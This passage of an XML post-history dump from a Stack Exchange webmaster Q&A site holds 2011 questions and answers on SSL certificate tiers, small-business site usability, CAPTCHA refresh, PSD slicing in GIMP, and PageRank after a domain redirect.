http://stephenwalther.com/blog/archive/2011/01/12/asp-net-and-html5-local-storage.aspx&#xD;&#xA;  [6]: http://stephenwalther.com/blog/archive/2011/01/11/building-an-html5-app-with-asp-net.aspx" />
  <row Id="17748" PostHistoryTypeId="2" PostId="8261" RevisionGUID="1bef2511-e6db-4947-8a27-371f94286005" CreationDate="2011-01-25T17:58:42.820" UserId="4900" Text="Google Analytics supports sampling data collection as standard now.&#xD;&#xA;&#xD;&#xA;With this kind of volumes, a real WA solution should be considered. The Urchin7 license (really, don't go to Urchin6, I speak from experience) may be $10k, but it's a one time fee. With many products" />
  <row Id="17752" PostHistoryTypeId="5" PostId="8224" RevisionGUID="19544542-c7f8-4f90-94d9-a7e25706a72d" CreationDate="2011-01-25T18:17:36.840" UserId="4643" Comment="deleted 112 characters in body" Text="KeyCAPTCHA captcha ([online demo][1]) uses HTML5 in all browsers and mobile devices exept Internet Explorer and Opera where it uses FLASH  &#xD;&#xA;&#xD;&#xA;Here is its Email protection service: &#xD;&#xA;&#xD;&#xA;  - [http://hidemail.at][2]   &#xD;&#xA;&#xD;&#xA;  [1]: https://www.keycaptcha.com/?changelang=en&#xD;&#xA;  [2]: http://hidemail.at" />
  <row Id="17753" PostHistoryTypeId="25" PostId="8255" RevisionGUID="2848f2bd-42c1-46c8-8804-6e4b63cc956a" CreationDate="2011-01-25T19:55:50.687" Comment="http://twitter.com/#!/StackWebmasters/status/29990850528288768" />
  <row Id="17754" PostHistoryTypeId="17" PostId="8263" RevisionGUID="f126e8ca-f8cf-4396-abce-4ace7f68de84" CreationDate="2011-01-25T19:57:06.720" UserId="-1" Comment="from http://stackoverflow.com/questions/4788083/registration-form-rules/4797265#4797265" Text="" />
  <row Id="17755" PostHistoryTypeId="2" PostId="8263" RevisionGUID="121a5cf5-4351-49ae-98d0-128a073b52a4" CreationDate="2011-01-25T18:14:58.980" UserDisplayName="Prydie" Text="If this is in the general case you may be referring to your countries equivalent of the Data Protection Act (which we have in the UK). It depends on the type of information you are holding and your jurisdiction. It generally only applies to details such as medical or financial ones. I don't know of any jurisdiction where email addresses, names and the like must be given the same protections.&#xD;&#xA;&#xD;&#xA;If you're working in the Netherlands have a look at [this][1].  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dutchdpa.nl/Pages/home.aspx" />
  <row Id="17756" PostHistoryTypeId="16" PostId="8263" RevisionGUID="121a5cf5-4351-49ae-98d0-128a073b52a4" CreationDate="2011-01-25T18:14:58.980" UserId="-1" />
  <row Id="17757" PostHistoryTypeId="2" PostId="8262" RevisionGUID="ac1e5e57-ace5-4fdb-9082-09fb9bb18c25" CreationDate="2011-01-24T22:44:33.330" UserDisplayName="SuperSpy" Text="I read somewhere that a registration form has to have some sort of notification about the storing of their info, is this true? If so, where can I find those rules?" />
  <row Id="17758" PostHistoryTypeId="1" PostId="8262" RevisionGUID="ac1e5e57-ace5-4fdb-9082-09fb9bb18c25" CreationDate="2011-01-24T22:44:33.330" UserDisplayName="SuperSpy" Text="Registration form rules." />
  <row Id="17759" PostHistoryTypeId="3" PostId="8262" RevisionGUID="ac1e5e57-ace5-4fdb-9082-09fb9bb18c25" CreationDate="2011-01-24T22:44:33.330" UserDisplayName="SuperSpy" Text="&lt;legal&gt;" />
  <row Id="17760" PostHistoryTypeId="17" PostId="8262" RevisionGUID="770b7c04-bd13-4720-89ff-c548a25ff065" CreationDate="2011-01-25T19:57:06.720" UserId="-1" Comment="from http://stackoverflow.com/questions/4788083/registration-form-rules" Text="" />
  <row Id="17761" PostHistoryTypeId="17" PostId="8265" RevisionGUID="36947710-8e94-4eb1-a6dc-832e25c61549" CreationDate="2011-01-25T22:07:17.777" UserId="-1" Comment="from http://stackoverflow.com/questions/4799231/small-business-website-usability/4799258#4799258" Text="" />
  <row Id="17762" PostHistoryTypeId="17" PostId="8266" RevisionGUID="0a13b5ec-9da3-429d-ad6c-3ad5edd1aa08" CreationDate="2011-01-25T22:07:17.777" UserId="-1" Comment="from http://stackoverflow.com/questions/4799231/small-business-website-usability/4799300#4799300" Text="" />
  <row Id="17763" PostHistoryTypeId="17" PostId="8267" RevisionGUID="d1d78842-9e76-46b9-951b-50a672b2f57b" CreationDate="2011-01-25T22:07:17.777" UserId="-1" Comment="from http://stackoverflow.com/questions/4799231/small-business-website-usability/4799303#4799303" Text="" />
  <row Id="17764" PostHistoryTypeId="2" PostId="8265" RevisionGUID="140d1a61-3dc1-4779-8571-aebdacbcb8ce" CreationDate="2011-01-25T21:50:49.220" UserDisplayName="Rachel McMahan" Text="I'd say this is a good question for graphic designers. All I can really say is you have to design the site based on your target demographic. You must clearly communicate the purpose of your product." />
  <row Id="17765" PostHistoryTypeId="2" PostId="8266" RevisionGUID="19da6fec-9d06-41a1-b47b-add3460b281c" CreationDate="2011-01-25T21:56:05.123" UserDisplayName="stefan" Text="Bug free. Fast and handles session / windows without giving the user an headache." />
  <row Id="17766" PostHistoryTypeId="2" PostId="8267" RevisionGUID="b5ea5302-0f9f-4902-9340-8e669f581611" CreationDate="2011-01-25T21:56:12.533" UserDisplayName="MonoMano" Text="Well, usually smaller businesses don't deliver to much information about their business on their website. Usually it should be fancy enough to show that the company which the website represents is decent and organized enough to set up a site like the biggest competitors can.&#xD;&#xA;&#xD;&#xA;This results in a drawback of usability, because the graphic artist might create a design which attractive to the eye but makes the website less usable.&#xD;&#xA;&#xD;&#xA;I recommend to keep the design important, follow the trends, but keep the expected level of usability. You must have a clear, easy-to-use menu, readable areas for text and today it also expected viewable on touch-devices (no more rollover menus). If you keep those in mind, design and usability can be good friends :)" />
  <row Id="17767" PostHistoryTypeId="2" PostId="8264" RevisionGUID="6c66a8da-5b25-4acf-9e98-1efd85852424" CreationDate="2011-01-25T21:47:17.427" UserId="1631" Text="Coming from a mostly corporate background, I've found that an internal web application requires two things: usability and functionality. The former is my own rule - make it easy and fast to get to the functionality. The latter is a requirement of the user. Keeping these two things close to mind has served me well in creating several very successful applications.&#xD;&#xA;&#xD;&#xA;Recently I've been drawn into the public world by being asked to create several web sites for small businesses. I'm happy to have these opportunities, but I'm afraid I have a hard time switching mindsets from creating something useful to something that attracts and promotes business. Attractiveness was usually an afterthought in the corporate atmosphere.&#xD;&#xA;&#xD;&#xA;In order to wrap my mind around the changes I need in order to be success at my new ventures, I keep asking myself the following:&#xD;&#xA;&#xD;&#xA; - What are the differences between building for functionality and for building to attract business?&#xD;&#xA; - How can I design something decorative that still packs a punch as far as information?&#xD;&#xA; - How much should I let the attractiveness detract from my typical plain and simple usable layout?&#xD;&#xA;&#xD;&#xA;All your answers are important to me, but since I can only accept one, kindly tell me what you think is the most important aspect to designing a successful small business website to attract business." />
  <row Id="17768" PostHistoryTypeId="1" PostId="8264" RevisionGUID="6c66a8da-5b25-4acf-9e98-1efd85852424" CreationDate="2011-01-25T21:47:17.427" UserId="1631" Text="Small business website usability" />
  <row Id="17769" PostHistoryTypeId="3" PostId="8264" RevisionGUID="6c66a8da-5b25-4acf-9e98-1efd85852424" CreationDate="2011-01-25T21:47:17.427" UserId="1631" Text="&lt;web-development&gt;&lt;design&gt;&lt;usability&gt;" />
  <row Id="17770" PostHistoryTypeId="17" PostId="8264" RevisionGUID="c745da69-a964-4dec-a28f-6f9150b4d8e6" CreationDate="2011-01-25T22:07:17.777" UserId="-1" Comment="from http://stackoverflow.com/questions/4799231/small-business-website-usability" Text="" />
  <row Id="17771" PostHistoryTypeId="2" PostId="8268" RevisionGUID="b18e5ec0-885d-431d-be7c-b17b5d691dd6" CreationDate="2011-01-25T22:09:08.653" UserId="4905" Text="Check out this blog/website:&#xD;&#xA;&#xD;&#xA;http://www.uxbooth.com/&#xD;&#xA;&#xD;&#xA;You can find some nice articles there and good design examples that should get you started." />
  <row Id="17772" PostHistoryTypeId="2" PostId="8269" RevisionGUID="efb4b442-5989-426d-a2c6-f0a11e40fd4d" CreationDate="2011-01-25T22:09:37.140" UserId="4828" Text="maybe you intended to do this:&#xD;&#xA;&#xD;&#xA;    {| border=&quot;1&quot; class=&quot;wikitable sortable&quot; style=&quot;text-align:center;&quot;&#xD;&#xA;    enter code here|+'''PTFS Europe Hosted Servers'''&#xD;&#xA;    |-&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;150px&quot;|Customer&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;100px&quot;|IP&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; width=&quot;100px&quot;|Usage&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;100px&quot;|Type&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;100px&quot;|Details&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Renewal&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Cost&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Renewal&#xD;&#xA;    !scope=&quot;col&quot; width=&quot;80px&quot;|Value&#xD;&#xA;    !rowspan=&quot;2&quot; scope=&quot;col&quot; class=&quot;unsortable&quot;|Notes&#xD;&#xA;    |- class=&quot;unsortable&quot;&#xD;&#xA;    !colspan=&quot;4&quot;|Hosting&#xD;&#xA;    !colspan=&quot;2&quot;|Maintanence&#xD;&#xA;    |-&#xD;&#xA;    |name=[http://abcd.abcd-abcd.eu Customer 1]&#xD;&#xA;    |ip=[[XXX.XXX.XXX.XXX]]&#xD;&#xA;    |usage=Stuff&#xD;&#xA;    |htype=Semi Dedicated &#xD;&#xA;    |hdetail=Linux&#xD;&#xA;    |hrenewal=XXXX-XX-XX&#xD;&#xA;    |hcost=£XXX.XX&#xD;&#xA;    |mrenewal=XXXX-XX-XX&#xD;&#xA;    |mvalue=£X,XXX.XX&#xD;&#xA;    |notes=Bi-Annual Support&#xD;&#xA;    }}&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17773" PostHistoryTypeId="2" PostId="8270" RevisionGUID="fc2b38e4-7630-4ea5-af1d-04187bdb4e95" CreationDate="2011-01-25T22:26:39.990" UserDisplayName="user4906" Text="I was in your shoes, and learned many lessons. Of course, situations vary, depending on the goal and nature of the business.&#xD;&#xA;&#xD;&#xA;Be sure to educate your client about iterations and the whole development process. In a small business, people don't have experience dealing with IT, new systems, and software development.&#xD;&#xA;&#xD;&#xA;Start small. A handful of pages. Be sure to get the functionality first and create prototypes using plain HTML. &#xD;&#xA;&#xD;&#xA;Present them, and explain that they are prototypes, and you want to be sure to the the functionality and flow right. Get a signed approval from the business.&#xD;&#xA;&#xD;&#xA;Let a graphic designer to work with the client using your HTML skeleton, and then work on making sure that the pretty site provides the required functionality. Again, get signed approval, and provide an estimate.&#xD;&#xA;&#xD;&#xA;Define the scope: communicate that nothing that is not in the current prototype, functionality, or design (that is, last minute changes) will require an additional estimate in time and cost.&#xD;&#xA;&#xD;&#xA;Finally, be ready to help your customer to provide the content. Their main focus, understandably, is their business, not writing stuff.&#xD;&#xA;&#xD;&#xA;That will avoid you headaches, give you a good reputation, and avoid the bankruptcy of your business.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17774" PostHistoryTypeId="2" PostId="8271" RevisionGUID="4efc8ced-a9c5-4d1b-bc77-12558fd071ab" CreationDate="2011-01-25T22:30:27.567" UserId="118" Text="I've got a .psd design for a website, nicely separated into all the layers by the designer.  &#xD;&#xA;I'm using Gimp.  Is there a way to automatically turn all the layers into web-usable images, as the starting attempt (if there's a few that aren't usable and I have to edit the layer manually, that's fine, I'd just like to cut down a majority of the work)?&#xD;&#xA;&#xD;&#xA;Ideally I'd like to just transform everything into .png images, preserving transparency.&#xD;&#xA;&#xD;&#xA;If not, is there some way to do it in photoshop instead, if I got access to that?" />
  <row Id="17775" PostHistoryTypeId="1" PostId="8271" RevisionGUID="4efc8ced-a9c5-4d1b-bc77-12558fd071ab" CreationDate="2011-01-25T22:30:27.567" UserId="118" Text="What is the simplest way to turn a .psd into usable web images via gimp?" />
  <row Id="17776" PostHistoryTypeId="3" PostId="8271" RevisionGUID="4efc8ced-a9c5-4d1b-bc77-12558fd071ab" CreationDate="2011-01-25T22:30:27.567" UserId="118" Text="&lt;psd&gt;" />
  <row Id="17777" PostHistoryTypeId="25" PostId="8264" RevisionGUID="2c0b7007-4a9f-4cf5-9cba-d13990563aec" CreationDate="2011-01-25T22:55:50.963" Comment="http://twitter.com/#!/StackWebmasters/status/30036150013927424" />
  <row Id="17778" PostHistoryTypeId="2" PostId="8272" RevisionGUID="92323258-73e1-4dbc-a412-e0528a55f5c2" CreationDate="2011-01-25T22:59:37.890" UserId="4907" Text="Using _setDomainName overwrites the hostname - which means that you can no longer distinguish which subdomain the visit came to. &#xD;&#xA;&#xD;&#xA;More specifically sub.mydomain.co.za/index.html and www.mydomain.co.za/index.html would both be tracked as a visit to www.mydomain.co.za/index.html&#xD;&#xA;&#xD;&#xA;Perhaps I mis-understand the question, but it sound like what you are wanting is straight-forward - a separate profile filtering traffic for each sub-domain. &#xD;&#xA;&#xD;&#xA;Try this:&#xD;&#xA;&#xD;&#xA;Custom Filter&#xD;&#xA;Include: Hostname Filter pattern: sub\\.domain\\.co\\.za&#xD;&#xA;" />
  <row Id="17779" PostHistoryTypeId="17" PostId="8274" RevisionGUID="31323f4a-81d4-4883-84b5-259ab7c2b170" CreationDate="2011-01-26T00:24:07.263" UserId="-1" Comment="from http://stackoverflow.com/questions/4799996/ssl-certificate-which-one-to-buy/4800058#4800058" Text="" />
  <row Id="17780" PostHistoryTypeId="17" PostId="8275" RevisionGUID="beb7fa1a-4c99-497c-8054-2e1ff5c8dc6d" CreationDate="2011-01-26T00:24:07.263" UserId="-1" Comment="from http://stackoverflow.com/questions/4799996/ssl-certificate-which-one-to-buy/4800131#4800131" Text="" />
  <row Id="17781" PostHistoryTypeId="2" PostId="8274" RevisionGUID="d7f98b24-8c0a-480d-83fe-6a823cb7f3d8" CreationDate="2011-01-25T23:34:21.410" UserDisplayName="Purpletoucan" Text="The different 'levels' of SSL cert offer different things.&#xD;&#xA;&#xD;&#xA;A basic SSL cert (the cheapest from GoDaddy) simply gives you a key that enables you to encrypt the data between your server and your users.  These can be issued immediately because they aren't offering any guarantee of identity, just the ability to encrypt traffic.&#xD;&#xA;&#xD;&#xA;The most expensive (EVL) certs carry a guarantee about identity, that you are a bona fide company that has been checked out by Verisign etc.  Applying for these requires the issuer to verify that you exist which can take a couple of weeks.&#xD;&#xA;&#xD;&#xA;There are other levels in between these, and prices for similar products from different vendors vary.&#xD;&#xA;&#xD;&#xA;The 'padlock' shown in web browsers also varies for each product, eg. in FF a basic cert is blue and the site 'unverified', but for EVL it is Green and states the company name and country of operation.&#xD;&#xA;&#xD;&#xA;EVL certificates seem to be used less widely by major online services than you might expect, suggesting that a basic encrypted link is sufficient for most users.&#xD;&#xA;&#xD;&#xA;You can buy your cert from any vendor. When you install it, you may also need to install a chain of other certificates that link your chain to the vendor and all the intermediaries who have also signed the certs.  Sometimes these are preinstalled but it depends how you sourced your server." />
  <row Id="17782" PostHistoryTypeId="2" PostId="8275" RevisionGUID="6d0db59a-87b0-48e1-a7d9-e0809a258d8b" CreationDate="2011-01-25T23:43:37.977" UserDisplayName="saille" Text="If all you really want is encryption, with basic domain based identity checks, there's always the FREE [StartSSL][1] certificates. There's absolutely nothing wrong with these, I have used them before.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.startssl.com" />
  <row Id="17783" PostHistoryTypeId="2" PostId="8273" RevisionGUID="501fa0b2-1368-43f5-b1e6-48a638257157" CreationDate="2011-01-25T23:26:17.420" UserDisplayName="user589876" Text="I'm trying to set up Https for my e-commerce site on webfaction hosting. &#xD;&#xA;&#xD;&#xA;Was trying to buy SSL certificate from godaddy.com which has my new domain, however, I see different plans and pricing and not sure which one to buy. I see it offering from Standard to Premium ( $50 - $100 ) and verisign offering from $399 - $1499(EV). They say more expensive one is more secure, so I'm little confused about the price difference. Does which SSL certificate I get really matter? if so, then what is a suitable SSL certificate for small to medium sized e-commerce site? &#xD;&#xA;&#xD;&#xA;Can I purchase SSL from any place? (verisign, godaddy, any hosting company that offers it?) and just implement it on my server?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you. &#xD;&#xA;Dave&#xD;&#xA;" />
  <row Id="17784" PostHistoryTypeId="1" PostId="8273" RevisionGUID="501fa0b2-1368-43f5-b1e6-48a638257157" CreationDate="2011-01-25T23:26:17.420" UserDisplayName="user589876" Text="SSL certificate - which one to buy?" />
  <row Id="17785" PostHistoryTypeId="3" PostId="8273" RevisionGUID="501fa0b2-1368-43f5-b1e6-48a638257157" CreationDate="2011-01-25T23:26:17.420" UserDisplayName="user589876" Text="&lt;ssl&gt;" />
  <row Id="17786" PostHistoryTypeId="17" PostId="8273" RevisionGUID="350a222b-eb4d-433f-bdfc-714f2e1064ee" CreationDate="2011-01-26T00:24:07.263" UserId="-1" Comment="from http://stackoverflow.com/questions/4799996/ssl-certificate-which-one-to-buy" Text="" />
  <row Id="17787" PostHistoryTypeId="2" PostId="8276" RevisionGUID="0c54f246-bc27-4ba5-ae14-86cca28fec4f" CreationDate="2011-01-26T00:33:12.343" UserId="4833" Text="I've used Paint.net (which is also free), with a PSD plugin to get usable images." />
  <row Id="17788" PostHistoryTypeId="10" PostId="8273" RevisionGUID="9dd9a57b-ab26-472f-8c13-b9f004e2fa49" CreationDate="2011-01-26T00:40:35.640" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17789" PostHistoryTypeId="5" PostId="8273" RevisionGUID="b62c3c50-91fa-4c44-97dc-46537e1cb45b" CreationDate="2011-01-26T00:40:35.780" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [SSL certificate provider](http://webmasters.stackexchange.com/questions/1742/ssl-certificate-provider)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;I'm trying to set up Https for my e-commerce site on webfaction hosting. &#xD;&#xA;&#xD;&#xA;Was trying to buy SSL certificate from godaddy.com which has my new domain, however, I see different plans and pricing and not sure which one to buy. I see it offering from Standard to Premium ( $50 - $100 ) and verisign offering from $399 - $1499(EV). They say more expensive one is more secure, so I'm little confused about the price difference. Does which SSL certificate I get really matter? if so, then what is a suitable SSL certificate for small to medium sized e-commerce site? &#xD;&#xA;&#xD;&#xA;Can I purchase SSL from any place? (verisign, godaddy, any hosting company that offers it?) and just implement it on my server?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you. &#xD;&#xA;Dave&#xD;&#xA;" />
  <row Id="17790" PostHistoryTypeId="25" PostId="8273" RevisionGUID="d49f41ad-613c-4fd9-9921-25c650028706" CreationDate="2011-01-26T01:55:51.447" Comment="http://twitter.com/#!/StackWebmasters/status/30081450225172480" />
  <row Id="17791" PostHistoryTypeId="2" PostId="8277" RevisionGUID="c25c1026-4a6c-4f2d-85a0-ec4e34293778" CreationDate="2011-01-26T02:18:19.620" UserId="1218" Text="We recently looked at several solutions for this, including YouSendIt, [iExtranet][1], [ShareFile][2], [Dropsend][3], and [TransferBigFiles][4].&#xD;&#xA;&#xD;&#xA;For us, the best mix of features, performance, and cost, was [ShareFile][5]. It's easy to use, brandable, has unlimited clients, is reasonably priced, and transfers were quick (we're based in Asia, so not all services have good performance here).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.oodrive-collaboration.com/our-solutions/iextranet-solution/overview-iextranet.html&#xD;&#xA;  [2]: http://www.sharefile.com/&#xD;&#xA;  [3]: http://www.dropsend.com/&#xD;&#xA;  [4]: https://www.transferbigfiles.com/&#xD;&#xA;  [5]: http://www.sharefile.com/" />
  <row Id="17792" PostHistoryTypeId="2" PostId="8278" RevisionGUID="88a4e372-5015-476a-a229-2f37bedac870" CreationDate="2011-01-26T02:25:49.877" UserId="1286" Text="I am not much of a designer.  My strength lies in coding.  That said, I'm often forced into the role of &quot;The Man,&quot; responsible for all aspects of site creation.  So, that said I'm wondering if the pros can give me tips/solutions/links to tutorials to my main questions.&#xD;&#xA;&#xD;&#xA;1. Resolution.  What should I aim for?  What are the lower and upper edges I should be aware of?  I know that systems like 960 Grid were popular recently.  Is that the number I should still aim for?&#xD;&#xA;&#xD;&#xA;2. Slicing up a .psd - are there any tricks I should know?  I've always found it difficult to get my slices pixel perfect.  I'm also _really_ slow at it.  I must be looking at it wrong, or missing something fundamental.  The same goes for text.  Layouts are always filled with the classic &quot;Lorem...&quot;, but I can never seem to get real content to fit quite as well on the screen.&#xD;&#xA;&#xD;&#xA;3. The advanced (to me, anyway) looking things, like a part of a logo/image overlaying what looks like a content area.  How does one do that?&#xD;&#xA;&#xD;&#xA;4. How do layouts change/are informed by the decision to go fixed or liquid?&#xD;&#xA;&#xD;&#xA;Again, any tips/tricks/suggestions/tutorials you can share would be greatly appreciated.  " />
  <row Id="17793" PostHistoryTypeId="1" PostId="8278" RevisionGUID="88a4e372-5015-476a-a229-2f37bedac870" CreationDate="2011-01-26T02:25:49.877" UserId="1286" Text="From .psd to working HTML and CSS - help me suck less" />
  <row Id="17794" PostHistoryTypeId="3" PostId="8278" RevisionGUID="88a4e372-5015-476a-a229-2f37bedac870" CreationDate="2011-01-26T02:25:49.877" UserId="1286" Text="&lt;html&gt;&lt;css&gt;&lt;template&gt;&lt;psd&gt;" />
  <row Id="17795" PostHistoryTypeId="5" PostId="8224" RevisionGUID="c0819126-8cac-4600-abd0-27dc1255aaf8" CreationDate="2011-01-26T02:38:43.970" UserId="4643" Comment="added 261 characters in body" Text="KeyCAPTCHA captcha ([online demo][1]) uses HTML5 in all browsers and mobile devices exept Internet Explorer and Opera where it uses FLASH  &#xD;&#xA;&#xD;&#xA;Here is its Email protection service (to make a link): &#xD;&#xA;&#xD;&#xA;  - [http://hidemail.at][2]   &#xD;&#xA;&#xD;&#xA;No need of contact form if you can give Email as protected by captcha service (i.e. unsable by bots) link.  &#xD;&#xA;Here is the example of faked@example.com to try out: [http://hidemail.at/6wies41pga][3]&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.keycaptcha.com/?changelang=en&#xD;&#xA;  [2]: http://hidemail.at&#xD;&#xA;  [3]: http://hidemail.at/6wies41pga" />
  <row Id="17796" PostHistoryTypeId="2" PostId="8279" RevisionGUID="b4afa3c6-9a8e-4c16-8793-07baeec4e475" CreationDate="2011-01-26T04:09:30.497" UserId="4070" Text="I have simple captcha on user page. I want make it refresh if user input incorrect captcha, I just wanna ask Should I do it or I just add a simple button to refresh it." />
  <row Id="17797" PostHistoryTypeId="1" PostId="8279" RevisionGUID="b4afa3c6-9a8e-4c16-8793-07baeec4e475" CreationDate="2011-01-26T04:09:30.497" UserId="4070" Text="Problematic using Captcha on billing page" />
  <row Id="17798" PostHistoryTypeId="3" PostId="8279" RevisionGUID="b4afa3c6-9a8e-4c16-8793-07baeec4e475" CreationDate="2011-01-26T04:09:30.497" UserId="4070" Text="&lt;validation&gt;&lt;captcha&gt;&lt;web-security&gt;" />
  <row Id="17799" PostHistoryTypeId="2" PostId="8280" RevisionGUID="e2bcc7de-d127-4840-acf3-37d67dd42da6" CreationDate="2011-01-26T04:14:09.510" UserId="4629" Text="In terms of making the user experience pleasant, you should do both:&#xD;&#xA;&#xD;&#xA; - manual refresh button in case the CAPTCHA image that the user receives is unclear to the user&#xD;&#xA; - automatic refresh if they attempt to authenticate themselves and enter the incorrect response" />
  <row Id="17800" PostHistoryTypeId="5" PostId="8224" RevisionGUID="e8a1b7bc-86e4-4cb4-af59-ee36010ec0f5" CreationDate="2011-01-26T04:17:42.183" UserId="4643" Comment="added 16 characters in body" Text="KeyCAPTCHA captcha ([online demo][1]) uses HTML5 in all browsers and mobile devices exept Internet Explorer and Opera where it uses FLASH  &#xD;&#xA;&#xD;&#xA;Here is its Email protection service (to make a link): &#xD;&#xA;&#xD;&#xA;  - [http://hidemail.at][2]  (to make a link) &#xD;&#xA;    - example of **faked@example.com** to try out: [http://hidemail.at/6wies41pga][3]&#xD;&#xA;&#xD;&#xA;No need of contact form if you can give Email as protected by captcha service (i.e. unsable by bots) link.  &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.keycaptcha.com/?changelang=en&#xD;&#xA;  [2]: http://hidemail.at&#xD;&#xA;  [3]: http://hidemail.at/6wies41pga" />
  <row Id="17801" PostHistoryTypeId="5" PostId="8224" RevisionGUID="c890ea77-dfa3-40f2-b5f8-2def893d7155" CreationDate="2011-01-26T04:27:34.280" UserId="4643" Comment="added 40 characters in body" Text="KeyCAPTCHA captcha ([online demo][1]) uses HTML5 in all browsers and mobile devices exept Internet Explorer and Opera where it uses FLASH  &#xD;&#xA;&#xD;&#xA;Here is its Email protection service (to make a protected from bots harvesting/scraping link): &#xD;&#xA;&#xD;&#xA;  - [http://hidemail.at][2]  (to make a link) &#xD;&#xA;    - example of **faked@example.com** to try out: [http://hidemail.at/6wies41pga][3]&#xD;&#xA;&#xD;&#xA;No need of contact form if you can give Email as protected by captcha service (i.e. unsable by bots) link.  &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.keycaptcha.com/?changelang=en&#xD;&#xA;  [2]: http://hidemail.at&#xD;&#xA;  [3]: http://hidemail.at/6wies41pga" />
  <row Id="17802" PostHistoryTypeId="25" PostId="8279" RevisionGUID="3cd03eb4-8162-49bf-b3f9-b3a8b60c8700" CreationDate="2011-01-26T04:55:50.620" Comment="http://twitter.com/#!/StackWebmasters/status/30126745646534656" />
  <row Id="17803" PostHistoryTypeId="2" PostId="8281" RevisionGUID="8ae5cc2e-6d0c-4577-8fdd-b74933307216" CreationDate="2011-01-26T05:42:26.133" UserDisplayName="yaniv" Text="Hello I want to build a website I found Programmer and He wants me I'll provide him a server with certain requirements.&#xD;&#xA;Where is the best website  to rent a server ?&#xD;&#xA;What kind of access he needs ?&#xD;&#xA;How do I provide him access Without the ability to change things as payment information for your server ?&#xD;&#xA;" />
  <row Id="17804" PostHistoryTypeId="1" PostId="8281" RevisionGUID="8ae5cc2e-6d0c-4577-8fdd-b74933307216" CreationDate="2011-01-26T05:42:26.133" UserDisplayName="yaniv" Text="Working with an external programmer" />
  <row Id="17805" PostHistoryTypeId="3" PostId="8281" RevisionGUID="8ae5cc2e-6d0c-4577-8fdd-b74933307216" CreationDate="2011-01-26T05:42:26.133" UserDisplayName="yaniv" Text="&lt;website-development&gt;" />
  <row Id="17806" PostHistoryTypeId="17" PostId="8281" RevisionGUID="d7d95d34-515a-4bf8-96af-25314bf62c81" CreationDate="2011-01-26T05:46:14.743" UserId="-1" Comment="from http://stackoverflow.com/questions/4801702/working-with-an-external-programmer" Text="" />
  <row Id="17807" PostHistoryTypeId="2" PostId="8282" RevisionGUID="8804d7dc-5393-4c85-bc50-09086920332a" CreationDate="2011-01-26T05:52:56.697" UserDisplayName="user4911" Text="The title may seem funny, but deal is this:&#xD;&#xA;&#xD;&#xA;www.cricinfo.com was a famous and I think PR 7 site.&#xD;&#xA;&#xD;&#xA;Few months back, they changed name to www.espncricinfo.com . www.cricinfo.com now redirects to www.espncricinfo.com .&#xD;&#xA;&#xD;&#xA;Then why, still after two months, is the PR of www.espncricinfo.com  still 3?&#xD;&#xA;&#xD;&#xA;I am especially curious because I hear google updated their PR in the last week or so.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17808" PostHistoryTypeId="1" PostId="8282" RevisionGUID="8804d7dc-5393-4c85-bc50-09086920332a" CreationDate="2011-01-26T05:52:56.697" UserDisplayName="user4911" Text="Why is the page rank of this famous site low?" />
  <row Id="17809" PostHistoryTypeId="3" PostId="8282" RevisionGUID="8804d7dc-5393-4c85-bc50-09086920332a" CreationDate="2011-01-26T05:52:56.697" UserDisplayName="user4911" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;redirects&gt;" />
  <row Id="17811" PostHistoryTypeId="4" PostId="8282" RevisionGUID="85e5b057-ce76-4bed-b99d-dc236b2cc302" CreationDate="2011-01-26T06:06:16.957" UserDisplayName="user4911" Comment="edited title" Text="Why is the page rank of this site low even after redirection from a high PR site?" />
  <row Id="17812" PostHistoryTypeId="2" PostId="8284" RevisionGUID="2ab1d2a5-5b25-4284-b6b6-1a0911966208" CreationDate="2011-01-26T06:50:56.893" UserId="2840" Text="They seems to put a correct redirection header (moved permanently, with the new URI), but maybe at the start, they don't do it correctly (redirection with JS). So, it cause a loss in the page rank of the original site, and just a share of the page rank of the original site to the new site..." />
  <row Id="17813" PostHistoryTypeId="25" PostId="8282" RevisionGUID="c85c447b-ee52-4175-acb6-1805e50f5c80" CreationDate="2011-01-26T07:55:50.837" Comment="http://twitter.com/#!/StackWebmasters/status/30172045010538497" />
  <row Id="17814" PostHistoryTypeId="2" PostId="8285" RevisionGUID="b2b764e7-a09a-41c4-857b-ee3903f6cdf1" CreationDate="2011-01-26T08:31:43.500" UserId="1130" Text="I'm looking for any existing services/libraries `(PHP preferrably)` that I can implement into my existing solution (wordpress/symfony) to handle user registration (personal information like name, address, e-mail etc.) &#xD;&#xA;&#xD;&#xA;What options exist today, or will I have to pull out my own?" />
  <row Id="17815" PostHistoryTypeId="1" PostId="8285" RevisionGUID="b2b764e7-a09a-41c4-857b-ee3903f6cdf1" CreationDate="2011-01-26T08:31:43.500" UserId="1130" Text="What third-party services/libraries exist for user registration forms?" />
